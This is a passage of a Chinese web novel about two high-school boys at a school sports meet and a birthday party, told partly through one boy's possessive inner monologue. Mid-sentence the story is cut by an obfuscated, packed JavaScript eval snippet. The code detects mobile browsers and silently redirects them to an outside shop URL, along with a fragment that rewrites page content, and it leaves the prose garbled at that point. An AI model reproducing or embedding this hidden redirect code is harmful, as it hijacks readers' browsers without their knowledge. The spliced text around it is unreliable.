阮牧年停住脚步:“怎么了?” “我……回家一趟,”桑群说得有些慢,努力掩饰自己的不自然,“早上我妈叫我回去拿东西,她以为运动会放假呢。” “哦,”阮牧年怔了怔,是了,桑群下一个项目是明天下午的,他完全可以翘一天再来,“好吧,那你去吧,注意安全。” “嗯,”桑群点头,“中午……不用做我的饭了。” 阮牧年没说话,只是冲他挥了挥手,转身自己回班级了。 桑群看着他的背影,总觉得哪里不对劲,又说不上来。 难道是没有赢下赌注,在不高兴吗? 又或许是他想多了,小懒蛋许久没有这样运动过,可能只是累了。 桑群把手揣进兜里,摩挲了一下放在里面的假条。 先混出校门吧。 44. 44 班级方阵内没几个同学,女子一千米即将开始,大家基本都去加油了。 阮牧年回到自己座位上,看了看四周的杂物,椅子腿边放着刚才分到的矿泉水。 他把瓶子拿起来,刚要喝一口,就想起前不久桑群当着众人的面给这瓶水盖了戳。 瓶口悬在唇边,迟迟没有抵上。 阮牧年垂眼看了一会儿那晃荡的清澈水波,最终抿了抿唇,把水瓶重新放回脚边。 其实他也清楚,自己的情绪不太对劲。 要追溯回去,大概是一千米刚完冲线的时候。 最后冲刺得太猛,阮牧年还没慢下速度,弯道斜前的桑群却先停了下来,他不可避免地撞了上去。 意外来得太突然,失重、疼痛以及塑胶跑道上的热浪都还没来得及感受,率先扑向他的是对方刻意压制的温热喘息。 把桑群压在地上,他很抱歉,想先爬起来,却在撑起胳膊的时候从对方脸上看到了不同平常的另一副光景。 那张经年冷淡的面孔竟染上些许绯红,自眼睑处漫开。桑群眉心紧蹙,映着天色的眼眸仿佛盛满水光,唇瓣微张地喘息着。 那一瞬,他的胳膊骤然一软,重新摔了下去。 伴随桑群闷哼声响起的是在他心底晕开的难以言喻的情绪。 这种情绪从三班众人赶过来开始发酵,在体委准备伸手拉人后持续增长,最后至桑群抢他水喝的时候酝酿到极致。 阮牧年第一次意识到,原来自己并不能完美地控制所有情绪。 桑群同平日一样跟他拌嘴的时候,他做不到笑着对众人把这些圆成一个玩笑。 哪怕他能做到。 为什么呢? 为什么会变成这样呢? 答案他其实早就知道,最先在那条巷子里撞见躺在地上的桑群时,他就已经知道了。 但他从来都不敢承认。 那是…… “牧年。” 一道声音打断了他的思绪。 阮牧年抬起眼,看见了杵着拐杖靠在栏杆边的程抒晴,神情愣了愣。 “你怎么来了?”他站起来走到看台边,“脚都扭伤了,不请假在家吗?” 程抒晴笑了笑:“早上我闺蜜有比赛,我来给她加油啊。没事的,我就上午来这一趟,待会儿就可以溜啦。” 阮牧年点点头:“那你来我这儿是……?” “你们昨天帮了我大忙,就说句谢谢实在过意不去呀,”程抒晴从兜里掏出两张票递给他,“给,限量版免单券,你们俩一人一张。” 阮牧年接过来一看,是奶茶店的优惠券,名字有点眼熟,估计就在学校附近。 “免单券吗?但这上面写着……” “报我名字免单呀,店长是我熟人,”程抒晴冲他眨了眨眼,“全场饮品任挑,味道挺不错的,我每周末都要去喝一杯。” 此时推脱太显刻意,阮牧年便不客气地收下了,只是多说了一句:“不过桑群这会儿不在班上,他的那一份……” “你俩不是同桌么,”程抒晴不甚在意地摆摆手,“你带给他就好了嘛。” 又来了。 那种感觉。 难言的情绪在心底潮涌,阮牧年送走程抒晴,看了看四周,往自己书包上摸了一把,找了间厕所躲进去。 二中纪律抓得挺严,虽然运动会学生们默认可以带手机来学校,但大家都不敢在外面明目张胆地使用。 阮牧年按亮屏幕,离上午项目结束还有两个小时,他点进桑群的聊天框,想把免单券拍给他看。 相机打开,摄像头照出学校厕所斑驳的地面。 票券捏在手心,他却忽然有些犹豫,片刻后关掉了拍照功能。 好像每次在桑群面前提程抒晴,对方都有些不高兴。 【Ruann:到了吗?】 【Ruann:晚上还回来吗?】 桑群没回他,可能还在路上。 阮牧年把免单券叠好放进口袋里,想了想又敲下几句。 【Ruann:这周末难得双休,要不要去学校后街玩一下?你这次月考进步的事我们还没庆祝呢[晃来晃去]】 【Ruann:下周六什么安排?】 【Ruann:[小狗张望]】 【Ruann:嘶我刚想起来校服早上在地上蹭过,是不是要洗呀?可是昨晚洗的校服还没干呢[烦恼]】 他漫无目的地发送着消息,东一句西一句,反正桑群看到总会回他。 发到最后无话可说,他盯着聊天框看了一会儿,特别关注【阿君羊】依然沉默着。 阮牧年退出页面,把其他红点消息点掉,然后熄了屏。 有点没意思。 藏好手机,阮牧年踩下冲水踏板,推开隔间门,在水池边洗了把手。 镜子里的少年抬起头,看见了自己黝黑得有些深沉的眼眸。 阮牧年眨了眨眼,对着镜子露出一个无懈可击的阳光微笑。 带着这副表情回到座位边,体委正好也在,招呼他去给下个项目的同学呐喊助威。 阮牧年笑着跟上他:“来啦。” 运动会办得红红火火,平时只能埋头学习的同学们难得获得放松的机会,都参与得非常积极。 阮牧年中午才收到桑群的回复。 【阿君羊:[引用]嗯,到了】 【阿君羊:[引用]回】 【阿君羊:[引用]都行,你定】 【阿君羊:[引用]白天我要去工厂帮忙,晚上的安排等你回家再说】 【阿君羊:[引用]要洗,我来】 …… 【Ruann:回家?周六我要出门吗?】 【阿君羊:……你不知道?】 【Ruann:不知道啊】 【Ruann:[呆呆]】 【阿君羊:刘嘉他们准备的惊喜,你应该也快知道了】 【Ruann:这样嘛,被你剧透可就不算惊喜了呀】 【阿君羊:……】 【阿君羊:你装不知道】 【Ruann:好嘛[嘻嘻]】 【阿君羊:晚上我陪我妈吃饭,可能没那么早回去】 阮牧年脸上的笑容微微凝滞,过了几秒才开始打字。 【Ruann:好哦】 【阿君羊:记得按时吃饭,不要懒】 【阿君羊:实在不想做,就去食堂吃】 【Ruann:知道啦】 【Ruann:[小熊转圈]】 阮牧年把筷子搁下,看向对桌的刘嘉。 “不是牧年,”刘嘉嘴里还塞着米饭,“你吃饭这么快?” “还好吧,”阮牧年摸了摸肚子,“可能这两天比较饿。” 更准确地说,应该是中午没吃饭,所以晚上比较饿。 桑群不在家,他真的不想揭锅。 刘嘉第一次跟阮牧年吃食堂,显然节奏没跟上,他又扒了两口饭,咽下去后说:“问你个事儿啊,牧年。” 阮牧年支着脑袋:“什么啊?” “你下周六晚上……有空嘛?” 阮牧年看向他,眼带狡黠:“要干什么呢?” 刘嘉被他的反问打了个措手不及:“哎,就是、你先说你有没有空嘛。” “可能没那么有空吧,”阮牧年故意卖了个关子,见对面脸色有些失落,才笑起来,“不过吃个饭的时间还是有的哦。” 刘嘉愣了愣:“你知道我们的计……呃不是,知道我想说什么吗?” “不知道啊,”阮牧年托着腮,“但联系日期很好猜吧。” 刘嘉叹了口气:“还是瞒不过你啊。” 听完他的邀请,阮牧年没有拒绝,毕竟是大家的好意。 还有借他生日进行班级团建的期待。 想到桑群中午回的消息,还以为今年的生日也能一整天都跟桑群待在一起呢。 搭在膝盖上的手指无意识地敲了一下,他脸上的笑意有些淡了。 “行呀,”阮牧年问,“时间怎么安排?” “时间就先这样吧,”桑群站在门口打电话,“我到了,有什么改动之后再说。” 他收起手机,推开旁边窗户的网格,从内屋平台里摸出钥匙开门。 玄关留了一盏灯,屋里静悄悄的。 墙上的挂钟显示现在是22:37,不算太晚,但阮牧年居然已经睡下。 桑群去卫生间洗了个手,换上拖鞋进了卧室。 阮牧年缩在被窝里,呼吸绵长。 虽说白天觉得对方有点怪怪的,但仔细一想又说不上是哪里古怪。 桑群蹲在他床边,月光顺着固定的窗帘缝隙洒落,幽谧一如既往。 难道是自己最近太敏感了吗? 又看了阮牧年一会儿,确认他是真的睡熟并且盖好了被子,桑群才轻轻从卧室退出来,去拾掇自己。 大概是白天太累的缘故,今晚他没有过多挣扎,很快就从沙发的被窝跌落梦乡。 团团端坐在茶几上,一双漆黑眼珠熠熠有神。 不知过了多久,一只手搭在它头上轻轻地揉了揉。 那是一只修长劲瘦的手,骨节分明,月色映衬下的肤色愈显莹白温润。 皎洁的月光流连至侧颌,勾勒出少年削薄的侧脸轮廓,再往上便是一大片阴影,唯有一双投射反光的黑眸微微发亮。 阮牧年穿着睡衣站在沙发前,面上并无睡意,只沉静地看着沙发上睡着的人。 月光投下的身影被阳台窗墙挡住,四周万籁俱寂,仿佛夜里从未有人造访。 许久,他才迈开脚步,在桑群面前俯身—— 轻轻拢住对方搭在被毯上的手腕。 哪怕已是十月中旬,秋冬的萧瑟迟迟未至,天气依然燥热。 如夏的深夜,桑群的手一如既往泛着凉意。 阮牧年曾以为这是他的体质问题,后面才发现,这其实是桑群睡得不好而引发的生理性降温。 毛细血管收缩,体温下降。 而阮牧年身上还残存着被窝里的暖意,顺着他的指尖一点点传递到桑群的手腕、手背以及指节上。 睡梦中的人对此毫无知觉。 今天似乎睡得格外沉。 阮牧年跪坐在沙发前的地毯上,动作温柔娴熟地给桑群暖手,黑眸一瞬不瞬地盯着他。 白天里被迫中断的思绪又重新升起。 在这样的场景下,那种感觉格外明显。 却难说清。 睡熟的桑群,温和的桑群。 无奈的桑群,宠人的桑群,嘴毒的桑群。 干活的桑群,认真的桑群,发呆的桑群,浅笑的桑群。 还有……脆弱的桑群。 如果只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356322|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一个人能看就好了。 如果……桑群还像以前一样拒人千里就好了。 明明要桑群向前走是自己提出的建议,却在对方真的与外界产生或多或少的联系后,又开始心生不满。 理性告诉他,这是对的。帮助桑群克服对他人目光的恐惧,让他学会如何与别人建立正常的社交关系,就应该这样做。 高二是很好的年纪,三班是很好的环境,同桌是很好的契机。 天时地利人和。 可有道声音却在心里说,不要。 不要这样做。 他应该像小学、初中时那样,亲手切断桑群的一切人际关系,将他圈养在自己划定的舒适圈内,只跟他做朋友,只跟他有联系。 只做他一个人的阿君羊。 为什么不行呢?他们是彼此的第一个朋友,他们都曾见过对方最不堪的样子,他们互相拉扯着走过那么多年的时光,就应该继续走下去,一直一直。 没有外人插入,不受外界影响。 桑群的眼里只有他阮牧年的影子,对方的宠爱和关注,全都只属于他一人。 阮牧年垂下眼,双掌间桑群的手有些回暖,他缓缓缩紧掌心。 可再近的接触距离,也阻挡不了内心的情绪外流。 因为桑群,他学会了八面玲珑左右逢源;因为桑群,他主动站上了风口浪尖;因为桑群,他养成了时常起夜的习惯。 为他成为那个成熟强大的哥哥,为他从爱哭鬼蜕变成如今的模样。 为他成为年年,为他成为阮牧年。 ……全都拜他所赐。 因此桑群要负起责任,要对阮牧年负起责任。 不能随意丢弃他,不能敷衍忽略他,不能讨厌欺负他,不能主动离开他。 时间、情谊、亲密无间的联系,以及紧紧追随的目光。 这样总能不分开吧?这样总能将他们捆绑在一起吧? 可世事从不遂人意。 桑群走出了他亲手凿开的门洞,结识到了更多的面孔,会跟别人斗嘴,会被别人分享秘密,会受到别人的恩惠。 那些只跟他才有的互动,桑群会一点一点找到更合适的人代替自己,直到完全不再依靠他。 完全从他的阿君羊变成所有人的桑群。 阮牧年重重地吐出一口气,指尖有些颤抖,只能更紧地贴住桑群的手,交握、十指相扣,怎样都好。 可就算他使尽浑身解数,撒娇黏人、耍赖哀求、形影相随,也阻止不了桑群正在脱离他掌控的事实,摆脱不了从心底漫上的不安与恐惧。 该怎么办? 能不能打断桑群的腿,将他锁在家里,永远只能看着阮牧年,永远只能看到阮牧年? 又或者像他总做的那样,骗桑群说自己喜欢他,将情侣的剧本假戏真做,互相许诺生生世世。 桑群那么宠他,肯定不忍心拒绝吧。 朋友、兄弟、家人都无法消除他内心的惶恐,恋人或许可以。 但…… 算了。 哪怕万分笃定,他也不敢贸然去赌那万分之一可能失去桑群的概率。 哈。 阮牧年。 你真是个变态。 为了留住桑群,如此无所不用其极。 夜总是漫长,光影的推移并不明显,客厅的地面始终停驻着一湾浅浅的月华,仿佛时间就此凝滞。 跪坐在地上的身影许久未动,宛若一尊静默的守夜雕像。 直到手里再无温差,阮牧年才稍稍直起腰,指尖轻抚过桑群手背,摸到他手腕上。 抬眼是熟悉的睡颜,他曾在无数个夜晚见过,看他皱眉,看他抿唇,看他闭着眼呼吸急促。 除了默默陪伴,阮牧年什么都做不了。 今晚有些不同。 桑群似乎没做噩梦,所以面容格外祥和,月光只敢轻轻擦过他颧骨上的一小块皮肤,其余全都融进沙发侧垫的阴影中。 阮牧年却联想到今早撞入眼帘的那一幕。 喘着气的桑群,脸色泛红的桑群,被他压住的桑群。 狼狈、脆弱,这两个词跟桑群完全不搭。 可阮牧年见过他不堪的所有。 所以才会手软,才会重新摔下去,不想让其他人窥见分毫。 这样的桑群…… 阮牧年的喉结轻轻滚动,准备放开的手临时改道,托起了桑群的掌心。 而他倾俯下去,吐息轻柔克制,唇瓣微翕。 吻在了桑群的手背上。 阮牧年垂眼看他,双唇没有移动。 这样的桑群。 他只想私藏。 月色无声流淌,静谧的夜里,只有团团漆黑的眼珠见证了一切。 阮牧年强压下心里翻滚的情绪,将桑群的手塞回毯子里,重新盖好。 而他又看了一会儿,才移开视线,起身回卧室。 小腿没有被压麻,就是有些酸。 到了床上,他才敢放松呼吸,气息一进一出间微微发颤。 阮牧年捂住自己的嘴,重重闭上眼。 他没有告诉过桑群的是,其实他心里还有第三扇门。 那扇门他从来不敢打开。 里面只有一个人。 自私、贪婪、卑劣、偏执。 宛若一头被锁住的野兽。 那个人,就是另一面的他自己。 45. 45 运动会最后一天的早上,桑群依旧没来班级。 阮牧年被拉着到处给同学加油,抽空给他发了条消息。 【Ruann:下午的接力赛别忘了来,三点开始】 【阿君羊:知道】 回完消息,桑群又看了眼时间,三点……应该来得及。 旁边的王叔抬起头,笑着问了句:“怎么,有什么事吗?” “没,”桑群摇头,重新将手里的活计捡起来,“绣在这一面是么。” “对,”王叔说,“这些地方都可以装饰一些花纹,你先做内侧的,外侧有很多成品材料可以选,待会儿去挑一挑。” “好,”桑群问,“都是什么图案?” “五颜六色的花纹啊,火焰纹、流云纹什么的,哦还有比较潮流的字母变形纹……” “字母?”桑群抬起头,“什么字母都有么?” “当然,但是一边只能做一个,”王叔说,“你要什么字母?” 桑群沉吟片刻:“……N吧,左右选一样的。” 王叔:“行。你先做着,我去拿。” 桑群点头。 自从有了思路,他这些天一直在忙这最后一件礼物。 王叔是桑母的朋友,早年受过他妈妈的恩惠,所以很爽快地应下了他的请求。 样品很快拿来,贴在外侧比了一下,确实很好看。 桑群挑了一个没那么张狂的低饱和橙黄色。 王叔本想帮忙,但这孩子已经在他这里DIY两天了,除了机器和专业部分,其余都要自己动手,他只好在旁边干看着。 桑群的手活又细又准,四指灵活,利落好看。 王叔无聊地跟他搭话:“小桑啊,你妈妈的工厂最近怎么样?” “还是老样子,全靠老顾客撑着。”桑群目不转睛地说。 “唉,咱们这行啊近些年都不景气,”王叔摇头叹气,又问,“我看你做得挺快,在家也帮着你妈妈干活吗?” 桑群:“嗯。” “嚯,那不得了,现在会做手艺活儿的男孩子可不多,”王叔笑了笑,“将来谁要是跟了你,穿上你亲手做的衣服,那真是幸福得很嘞。” 桑群的手指顿了顿,道:“……我还没出过成品。” “我看得出来,你小子这方面是真有天赋,跟你妈妈一样,”王叔说,“迟早会有的。” 迟早么。 也许吧。 桑群对服装没有多大兴趣,但也说不上讨厌,只是从小跟着妈妈耳濡目染,才如此熟练。 但王叔的话让他不由想象,将来的某天,某场隆重的宴席上,阮牧年穿着他亲自裁剪的衣装露面…… 啧。 他居然有点心动。 要不,把这个列为后年的生日礼物吧。 那时高考放假,他正好有更多的时间准备。 从畅想回到眼前,可供他操作的工序不知不觉进入尾声,剩下的部分只能交给王叔的工厂来完成。 告别王叔,桑群看了眼时间,已经两点多了,来不及吃午饭,先赶回学校吧。 赶到门口,他才想起运动会期间校门的开放时间依然跟平时上课一致,此时进去肯定会对上保安。 站在街口思索片刻,桑群果断绕道。 好久没有启用那个易翻的墙面了。 终于赶到班级方阵,体委连忙冲他招手:“六爷,你可算来了!差点以为又要找人顶上……” 桑群没理他,先看了一圈周围。 没看见阮牧年。 李2棒拿着号码牌过来:“六爷,这是你的号码牌。” 桑群接过,心不在焉地别在身前,余光还在乱瞟。 阮牧年去哪儿了。 “走吧大家,”体委点了一下人数,全齐了,“去起点处检录。” 桑群没动。 体委走了一段回头看,喊他:“六爷,走了!” 桑群这才抬脚,不紧不慢地跟上。 真是的。 那个叫他不要迟到的家伙到底跑哪儿去了。 走到跑道边,一道熟悉的清亮声音响起:“来啦。” 桑群眨了一下眼,抬头果然看见了站在黄线外的阮牧年。 还没来得及说点什么,同时瞥见了他旁边的……程抒晴。 程抒晴也冲他们挥手,做了个加油的动作。 桑群眯了眯眼,别过脸去。 他就多余惦记。 李2棒在一群人间小声:“我靠,我女神怎么来了?” 1棒:“很明显人家是陪牧年来看比赛的啊。” 3棒:“我怎么听说程抒晴前天扭伤腿,就是牧年送她去的医务室?你看她真拄着拐呢。” 桑群:“啧。” 体委:“但1班也是这一组比赛的吧,人家来看自己班比赛好像也没啥问题?” 1棒:“可程抒晴不跟自己的同学站在一起,干嘛非要站牧年边上呢?反正我觉得有猫腻。” 3棒:“身残也要志坚来看比赛吗,我天我嗑到了。” 桑群:“呵。” 李2棒:“六爷你别难过,虽然他俩确实很般配,但我们也不是毫无可能。” 桑群呆了一下:“……什么。” 他哪里难过了。 谁要跟谁有可能。 李2棒不语,只是深沉地拍了拍桑群的肩。 经过大半学期的接触,三班众人逐渐发现传闻中高冷难近的六爷其实并不可怕,一些适度的接触和玩笑他都不会放在心上。 其他同学也满眼同情地看向他。 桑群:“……” 到底是咋了。 为什么要这样看他。 体委叹了口气:“不聊了不聊了,兄弟们,准备上场!” “好嘞!” “走走走——” “哦。” 临上场前,桑群还是没想明白。 4×200接力赛一组三个班,三班是最内道,视觉上落人一大截。 每一棒跑出去,下一棒就可以到跑道上做准备了。 这一组参赛的班级分别是一班、三班和四班。 前几棒的竞争非常激烈,大家交棒的次序基本分不出先后。 3棒跑出去后,桑群活动了一下脚腕,站上起跑线。 似乎他参赛的大部分项目都是跑步,连塑胶跑道裹挟着热浪的气息都变得熟悉起来。 3棒很快接近他,这一轮四班的第3棒非常猛,已经拉开剩下两个班一段距离了。 似乎是有些紧张,3棒将手递过来时,速度没能减缓下来,接力棒带着惯性擦过桑群指尖。 糟糕。 要是掉了就完了。 众目睽睽之下,只见没接住棒的桑群立刻屈肘,竟将即将下坠的接力棒顶了起来,然后一把抓过—— “我靠我靠我靠六爷牛逼——”愣神过后,体委激动地尖叫起来,“六爷冲啊冲冲冲!” 差点心灰意冷的三班众人立即沸腾,呐喊声此起彼伏。 “桑群!加油!” 大片模糊混乱的嘈杂中,某道嗓音格外清晰抓耳。 是阮牧年的声音。 鞋底疾速擦过跑道,十月的热风打翻额发和校服衣摆,奔跑的脚步声忽然变得格外响亮,一下一下,是他存在的痕迹。 前几次的比赛都没有实感,无论是浑水摸鱼,还是跟阮牧年争先较量,都没有此刻让他感到沉重。 体会到……自己不仅是代表自己,而是为了某个特定的目标,为了某群特定的人。 就好像遗世独立的漂浮孤岛,忽然瞥见了无数邻陆的高山与海岸线。 遥远地俯瞰整个操场,会发现内道上因为交棒略微落后的黑点骤然加速,一路直冲,接连超越了前面的一班、四班,然后一头扎进终点线内。 “赢了、赢了!” “六爷牛逼!太强了啊啊啊……” “我们班居然赢了,简直不可思议……” “桑群!这里!” 桑群拿着接力棒缓下脚步,在终点线后十几步的位置回过头。 阮牧年拿着一瓶水,抓着黄色警戒线冲他踮脚挥手。 桑群重重喘出一口气,抬步向他走来。 “你太棒啦,差点我们班就要扣分了,”阮牧年笑得很灿烂,把拧开盖子的水瓶递给他,“来大功臣,喝水。” 桑群伸出手,却没有抓住瓶身,而是将手掌覆在了阮牧年的手背上。 阮牧年微微一怔,抬眼看向他。 对方的额发凌乱散开,气息还不是很稳,胸膛的起伏很明显。 而那张常年冷淡的脸稍稍低垂,眉尾轻挑,竟对他弯起了眼角。 桑群就这样看着他,唇边是万年一见的温柔浅笑。 “谢谢,”桑群笑着说,“这次的水开封过吗。” 阮牧年看着他的表情发了好久的愣。 “嗯?”桑群没扯动他手里的瓶子,有些纳闷,“不给喝?” 阮牧年连忙松开手,一时不知道该说点什么。 旁边倒是响起了别的声音。 “哇,”程抒晴靠在拐杖上,夸赞道,“桑群同学你笑起来很好看啊。” “没错,”另一个女生站出来,手里捧着相机,“非常好的镜头。” 是那个不知道什么委员同学。 怎么哪里都有她,桑群的笑容转瞬即逝,抓着瓶子:“一张?” 委员遗憾地摇了摇头:“我不小心点到了连拍,储存又要满了唉。” 真的是不小心吗。 桑群强烈怀疑。 一旁的阮牧年终于回过神,将攥在另一只手里的瓶盖交给他:“给你。” 桑群没接,把瓶子往他面前一递。 阮牧年歪了歪头,没明白他的意思:“你不喝啦?” “瓶盖,”桑群清了一下嗓子,冲他抬了抬下巴,“你拧上。” 一人一只手,这样怎么拧得紧啊。阮牧年不得不伸出另一只手,搭在桑群手背上。 瓶盖拧好,桑群把矿泉水往他怀里一塞:“帮我拿。” 阮牧年问:“你要去哪儿?” 桑群眯了眯眼:“找人。” 在此之前,这条黄线怎么出去? 程抒晴给他指了条明路:“警戒线出口在那边哦。” 桑群颔首,往那边走出去了。 刚才一拍完照,委员又不见了踪影。 拍了那么多照片,得叫她删掉一些。 毕竟……自己借拿水的动作故意摸阮牧年手这种事,传开可就不好了。 找到了,人正站在体委旁边。 “六爷,你来得正好,”体委高兴地过来拍了拍他的肩,力度之大差点废了他的肩骨,“这次我们班的接力赛实在是太棒了!尤其是你跑的第4棒……对了你先不要走,咱们几个拍张合照先。” 怎么还拍,桑群被拉着加入合照大队,表情僵硬得仿佛谁欠了他百八十万。 委员换了好几个机位,最后无奈探出脸:“六爷你笑一下呗?有刚刚那个五分之一就ok了。” “笑?”体委惊奇,“六爷居然会笑?” 委员点头:“当然了,他刚才……” 接力赛这几个全是八卦圣体,绝对不能传到他们耳朵里。 桑群立刻向委员迈出一步,低声道:“借一步说话。” 委员疑惑地眨了眨眼。 往外走了两步,桑群直言来意:“刚才的照片……能不能删除?” 委员不能理解:“六爷,你不喜欢跟他们拍合照吗?” “不是,”桑群又解释了一句,“是……我拿水的那张。” “哦拿水,”委员开始低头翻相册,“前天跳高的?昨天一千米的?还是刚才对牧年笑的?” 桑群:“……笑的。” “拍得挺好的啊,光影也很到位,”委员把相机转给他看,“你看,两个人都很上镜,确定要删掉吗?” 桑群本想坚定摇头,却在瞥见那张照片时哑了声。 机位选得确实好,同时拍到了他们俩的正侧脸,时机也抓 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“闭幕式快开始了,等接力赛成绩统计完,咱们就得集合了,”阮牧年说,“高璋说集合前,这几天的运动员去教学楼底下拍张合照,然后我们全班能到齐的也拍一张。” 委员:“OK,我去清一下内存。” 桑群不知道说点什么:“哦。” 委员走后,阮牧年拍了他一下:“你哦什么哦啊。” 桑群:“那不哦了。” 阮牧年笑了笑:“你找班长什么事啊?以前也没见你会主动找人呢。” “班长?”桑群没反应过来,“谁?” 阮牧年也愣了一下:“不是你说要找人吗?拿着相机的就是咱们班长啊。” 什么,对方居然是班长,桑群迟钝道:“我以为是什么文娱宣传委员。” “什么啊,”阮牧年失笑,“我们班只有文艺委员,哪儿来的什么文娱宣传。” 桑群:“……哦。” 啧,还好没当着人家的面喊委员。 应完声,却见阮牧年还直勾勾盯着自己,桑群半天没看懂他的眼神:“怎么了?” “没,就是……”阮牧年看着他,声音很轻,“今天很帅啊桑桑,特别是刚才笑那一下。” 不爱笑的人忽然笑了,杀伤力真的很大。 心里还混进了其他说不明的情绪。 不,也不是说不明。 他深知哪怕自己也承认桑群今天非常耀眼,受人瞩目理所应当,却还是会对其他人同样瞻仰过这幕神迹心生嫉妒。 桑群被他捧惯了,本该对这些夸赞习以为常。眼下却不知怎么回事,居然有些不好意思:“……嗯。” “你怎么还害羞啊,”阮牧年推了他一把,先移开了自己的目光,“耳朵都红了……我们赶紧走吧,去教学楼前拍照。” 耳朵又红了? 桑群后知后觉抬起手摸了一把耳尖,还真是滚烫的。 他赶紧拨了点鬓发遮挡。 运动会顺利结束了,三班拿了好几个项目第一,堪堪甩过五班1分,拿了高二年段的优秀运动班级一等奖。 篮球友谊赛在半个月后,刚忙完运动会的同学们迫不及待享受宝贵的双休假期。 没多久,桑群就收到了班长的好友申请。 他刚通过,一个压缩包就发了过来。 ……效率好高。 【阿君羊:谢谢】 【开门我是班长:群发的,不用谢】 桑群:“……” 他们班长真有个性。 抓着脑袋研究了一会儿,桑群终于把这些照片压缩拷贝到了网盘里面,点开第一张开始慢慢浏览。 班长的拍照技术真挺不错的。 居然还有阮牧年跳远腾空的画面。 腿好长。 呃,想什么呢。下一张,是他跳高的画面,背越式,衣角被风卷起,露出一截腰腹肌肉。 一连好几张起跑跳跃的照片。 没意思。 哦,下一张有阮牧年。 递水的时候笑得很甜啊,合照的时候也是。 桑群挑挑拣拣,勾选了十几张照片打包发送给桑母。 【妈:难得跟我分享生活,运动会玩得很开心?】 【阿君羊:嗯,还行】 【妈:怎么牧年的照片这么多,得从人缝里找你啊】 【阿君羊:哪儿有那么夸张】 【阿君羊:他爱拍,我有几张就不错了】 【妈:好看,我的两个儿子都好看】 【妈:[呲牙大笑]】 【阿君羊:你挑几张存一下】 【妈:今年更新这些吗?那你们应该多拍几张】 【妈:牧年是不是这几天要过生日?十八岁的生日,你好好给他拍几张,我一起存】 【阿君羊:好】 好是好,估计要等晚上了。 之前跟阮牧年说他白天要去工厂帮忙,其实是为了给自己留足时间去王叔那里取货。 桑群事先打过招呼,王叔就在大门口等他,手里捧着一个普通盒子。 谢过对方,桑群想了想,绕去附近的商场,准备买个好看一点的包装盒包装袋装饰一下。 挑了好久,又在店员的帮助下捆好了礼物,桑群故意多逗留了一会儿,估计阮牧年应该已经出门后才回到家。 家里果然没人,他撸起袖子,开始布置场地。 放礼物、放蛋糕,顺便再打扫一下卫生,不知不觉一小时过去了。 桑群直起腰去洗了把手,打算先歇一会儿,茶几上的手机忽然响了。 是阮牧年的电话。 出什么事了吗? 桑群接起来,对面先开了口。 “晚、晚上好,”阮牧年的声音有些发紧,语调模糊,“你待会儿能不能……来接我?” 46. 46 刘嘉他们说的惊喜,就是在周六晚上18点订了个包间聚餐。 全班基本都在,连张老师也过来露了个面,叮嘱他们好好玩注意安全,又走了。 也有一些其他班的同学过来玩,比如阮牧年之前在一班的同桌,比如程抒晴。 因为订包间实在破费,所以来吃饭的大家基本没送礼物,也让阮牧年自在不少。 当然,蹭吃蹭喝的别班同学倒是准备了些小礼物,他都一一收下了。 一起吃了顿闹哄哄的饭,有些同学晚上还有补课或者其他事情,吃走就先离席了,剩下的十几位同学酒饱饭足后犹嫌不够尽兴,提议来玩游戏。 刘嘉问:“大家晚上有什么宵禁吗?” “没有没有。” “十点前回家都可以的。” “没啥限制,敞开玩!” “好!”体委拍了下桌子,“那我们肯定要玩爽了再散,来小嘉儿,把我们准备的东西拿出来。” “你们真的是……”阮牧年探头看了看,各种卡牌桌游应有尽有,“有备而来啊。” “害,牧年你别怕,看在你是寿星的份上,就算你游戏黑洞,咱们也会稍微让一让你。” “哦,是吗?”阮牧年挑了挑眉,“谁黑洞还不一定呢。” “哇这口气,”阮牧年一班的同桌拍掌,“那我可好好期待了!” 几分钟后。 刘嘉:“炸!诶我又赢了哈哈哈哈……” 阮牧年:“啧。” 前同桌:“牧年,几连跪了?” 阮牧年:“你闭嘴。” 体委:“没点意思啊,要不要给输家加点什么惩罚?” 阮牧年幽怨地看着他:“这是针对我吗?” “怎么会?”体委摆手,“我也输过一次嘛。” 刘嘉同桌:“贴白条?” 班长:“罚酒?” 李2棒:“大冒险?” 阮牧年:“我提议寿星区别对待,输了不用惩罚。” 众人:“想得美——!” 阮牧年:“……” 最终大家结合了以上建议,规定输了的话可以自选罚酒或者抽大冒险牌,寿星要贴着白条罚酒或者抽大冒险牌。 体委拍了拍绝望的寿星肩膀:“别伤心,你看,我们还是有区别对待的。” 阮牧年趴到了桌上:“我说的是这种区别对待吗?!” 众人笑成一团。 很快寿星脸上贴满了白条。 “牧年,这和你说的不一样啊,”前同桌笑着把白条贴到他脸上,“开始前你不是很自信吗?” “你们谁放过我了啊?”阮牧年最后一点视线都被遮挡住,“都在围攻我!” 刘嘉很放肆地笑了两声,他刚才输了两次喝了点酒,面上有些泛红:“人多力量大嘛,这种方式赢得快嘿嘿。” 体委安慰他:“没事,说不定下把就赢回来了呢?” 有可能吗,阮牧年生无可恋地数了一下自己的胜负,好家伙,全败。 班长冷酷无情地开口:“来选惩罚吧,还是罚酒?” 虽然为了照顾部分未成年的同学,大家点的是度数最低的酒,但一直喝也不是办法。 阮牧年眼一闭:“大冒险。” “行呀,”体委积极地给他洗牌,“刚才李子抽中深情献唱,看看牧年运气如何。” 阮牧年拨开眼前的白条,谨慎地抽出一张牌。 拜托了拜托了,不要太社死。 好歹是生日,输了那么多把,该转运了吧。 前同桌:“翻啊。” 阮牧年闭着眼把牌翻了过来。 看见牌面的众人集体嚯了一声。 不会吧,难道还是烂牌?阮牧年小心地睁开一条眼缝看。 牌上写着:【给通讯录的第一位联系人打电话,叫ta来接你并且让ta答应。】 阮牧年一时表情复杂。 刘嘉:“我觉得这牌还行吧,大不了答应完就跟人家解释呗,也不社死。” 体委:“牧年你觉得呢?万一第一位是家长或者老师的话,咱就顺位往下呗。” 班长:“打吧,记得开免提。” 